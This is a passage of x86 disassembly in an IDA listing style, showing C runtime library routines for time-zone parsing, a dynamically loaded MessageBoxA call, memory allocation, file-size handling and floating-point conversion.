CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4CDBC0, ebp mov dword_4366E8, ebx mov dword_4366D8, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_4CDBC8 nop call near ptr 2830000h cmp eax, ebx jz loc_420BA6 mov eax, dword_4CDBC8 mov ecx, dword_4CDC1C imul eax, 3Ch cmp word_4CDC0E, bp push 1 pop edx mov dword_436640, eax mov dword_4CDBC0, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_436640, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_4CDC62, bp jz short loc_4209E9 mov eax, dword_4CDC70 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_436644, edx imul eax, 3Ch mov dword_436648, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_436644, ebp mov dword_436648, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_4366CC push ebx push offset dword_4CDBCC push edi push dword_4CDA58 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_4366CC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: sub_42094E+D1j ; sub_42094E+D7j mov eax, off_4366CC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4366D0 push ebx push offset dword_4CDC20 push edi push dword_4CDA58 call esi test eax, eax jz loc_420B9E cmp [esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_4366D0 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_4CDC74 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_4CDC74 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_4CDC74, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_4366CC call sub_418C10 mov eax, off_4366CC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_436640, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_436640, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_436644, eax jz short loc_420B9E push 3 push esi push off_4366D0 call sub_418C10 mov eax, off_4366D0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_4366D0 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_436644, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4366D8 jnz short loc_420BDE cmp eax, dword_4366E8 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_4CDBC0, edi jz loc_420CB6 movzx ecx, word_4CDC6E push ecx cmp word_4CDC60, di movzx ecx, word_4CDC6C push ecx movzx ecx, word_4CDC6A push ecx movzx ecx, word_4CDC68 push ecx jnz short loc_420C30 movzx ecx, word_4CDC64 push edi push ecx movzx ecx, word_4CDC66 push ecx movzx ecx, word_4CDC62 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_4CDC66 push ecx push edi movzx ecx, word_4CDC62 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_4CDC1A add esp, 2Ch cmp word_4CDC0C, di push eax movzx eax, word_4CDC18 push eax movzx eax, word_4CDC16 push eax movzx eax, word_4CDC14 push eax jnz short loc_420C9E movzx eax, word_4CDC10 push edi push eax movzx eax, word_4CDC12 push eax movzx eax, word_4CDC0E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_4CDC12 push eax push edi movzx eax, word_4CDC0E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_4366DC mov eax, dword_4366EC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_4366E0 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_4366F0 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_4366F0[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_436724[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_4366F4[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_436728[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_4366F0[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_436724[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_4366DC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4366D8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366E0, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_4366EC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_436648 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366F0, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_4366F0, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_4366F0, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_4366EC, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_4366E8, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_4CDA48, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_433C70 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_433E7C cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4CDA58 nop call near ptr 2640000h test eax, eax mov eax, dword_433E7C jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4CDA58 nop call near ptr 2640000h test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_433E7C, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: ___:0041F15Ap arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4CEF01[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_433C7A[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4CDC7C, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" nop call near ptr 2720000h mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4CDC7C, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4CDC80, eax call esi mov dword_4CDC84, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_4CDC80 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_4CDC84 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4CDC7C loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_4CF020 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_435EB4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_4CF024 call near ptr 2730000h nop mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_4CDA14, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4CECC0, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_4CDCB0 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_4CDCB0 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_4CECC0 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4CEDE0 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_4CD9B8, 5 jnz short loc_4212C3 mov dword_4CD9B4, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax call near ptr 25D0000h nop mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_4CD9B4, 0Dh nop call near ptr 26702AAh mov dword_4CD9B8, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_4CD9B4, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; --------------------------------------------------------------------------- loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test [ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- 